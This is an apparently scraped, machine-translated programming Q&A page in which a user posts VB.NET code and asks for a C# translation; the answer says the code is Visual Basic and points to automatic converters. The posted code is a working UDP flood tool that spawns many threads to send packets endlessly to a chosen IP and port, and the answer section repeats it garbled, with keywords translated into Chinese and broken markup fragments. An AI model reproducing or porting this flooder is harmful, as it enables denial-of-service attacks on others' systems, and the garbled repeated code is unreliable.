C#翻译2010年至2015年请帮忙 [英] C# translate 2010 to 2015 please help
问题描述
继承人代码没有括号或没什么请帮助
heres the code it has no brackets or nothing please help
Imports System.Net.Sockets
Imports System.IO
Imports System.Text
Imports System.Threading
Public Class Form1
Dim List As New List(Of Threading.Thread)
Private Sub TrackBar1_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar1.Scroll
Label3.Text = "Number Of Threads : " & TrackBar1.Value
End Sub
Sub UDP()
Try
Dim GLOIP As IPAddress 'Target
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text) ' Textbox1.Text= IP/Target
bytCommand = Encoding.ASCII.GetBytes("$$$$$$$$$$$$$$$") 'Message in byte
Do
Dim udpClient As New UdpClient 'Protocol
udpClient.Connect(GLOIP, TextBox2.Text) 'Connect to Target (Textbox2.text=Port)
udpClient.Send(bytCommand, bytCommand.Length) 'Send Message
udpClient.Close()
Label8.Text += 1 'Label8.text= Connections
Loop
Catch ex As Exception
Label7.Text += 1
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
List.Clear()
For i = 0 To TrackBar1.Value - 1
Dim UDPFlood As New Threading.Thread(AddressOf UDP)
UDPFlood.Start()
List.Add(UDPFlood)
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Control.CheckForIllegalCrossThreadCalls = False
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
For i = 0 To List.Count - 1
List(i).Abort()
Next
End Sub
End Class
我的尝试:
我有尝试了一切!从搜索和研究到youtube但没有任何作用
What I have tried:
I have tried everything! from searching and research to youtube but nothing works
推荐答案
)' 字节中的消息
Dim udpClient 作为 新 UdpClient ' < span class =code-comment> Protocol
udpClient.Connect(GLOIP,TextBox2.Text)' 连接到目标(Textbox2.text =端口)
udpClient.Send(bytCommand,bytCommand.Length)' 发送消息
udpClient.Close()
Label8.Text + = 1 ' Label8.text = Connectio ns
循环
Catch ex As 例外
Label7.Text + = 1
结束 尝试
结束 Sub
私有 Sub Button1_Click( ByVal 发件人作为系统。对象, ByVal e As System.EventArgs)句柄 Button1.Click
List.Clear()
对于 i = 0 至 TrackBar1.Value - 1
Dim UDPFlood 作为 新 Threading.Thread( AddressOf UDP)
UDPFlood.Start()
List.Add(UDPFlood)
下一步
结束 Sub
私有 Sub Form1_Load( ByVal 发件人作为系统。对象, ByVal e As System.EventArgs)句柄 MyBase .Load
Control.CheckForIllegalCrossThreadCalls = False
结束 <跨度cl ass =code-keyword> Sub
私有 Sub Button2_Click( ByVal sender As System。 Object , ByVal e As System.EventArgs) Handles Button2.Click
对于 i = 0 至 List.Count - 1
列表(i).Abort()
下一步
结束 Sub
结束 班级
") 'Message in byte Do Dim udpClient As New UdpClient 'Protocol udpClient.Connect(GLOIP, TextBox2.Text) 'Connect to Target (Textbox2.text=Port) udpClient.Send(bytCommand, bytCommand.Length) 'Send Message udpClient.Close() Label8.Text += 1 'Label8.text= Connections Loop Catch ex As Exception Label7.Text += 1 End Try End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click List.Clear() For i = 0 To TrackBar1.Value - 1 Dim UDPFlood As New Threading.Thread(AddressOf UDP) UDPFlood.Start() List.Add(UDPFlood) Next End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Control.CheckForIllegalCrossThreadCalls = False End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click For i = 0 To List.Count - 1 List(i).Abort() Next End Sub End Class
我尝试了什么:
我已经尝试了一切!从搜索和研究到youtube但没有任何作用
What I have tried:
I have tried everything! from searching and research to youtube but nothing works
继承代码它没有括号或什么
heres the code it has no brackets or nothing
那是因为它是Visual Basic,而不是C#。您可以通过此Google搜索找到自动翻译服务:将visual basic转换为c# [ ^ ]
当然不能是保证它在转换后能够正常工作或做你想做的事。
That's because it's Visual Basic, not C#. You'll find automatic translation services with this Google search: convert visual basic to c#[^]
Of course it can't be guaranteed that it will work or do what you want after the conversion.
这篇关于C#翻译2010年至2015年请帮忙的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!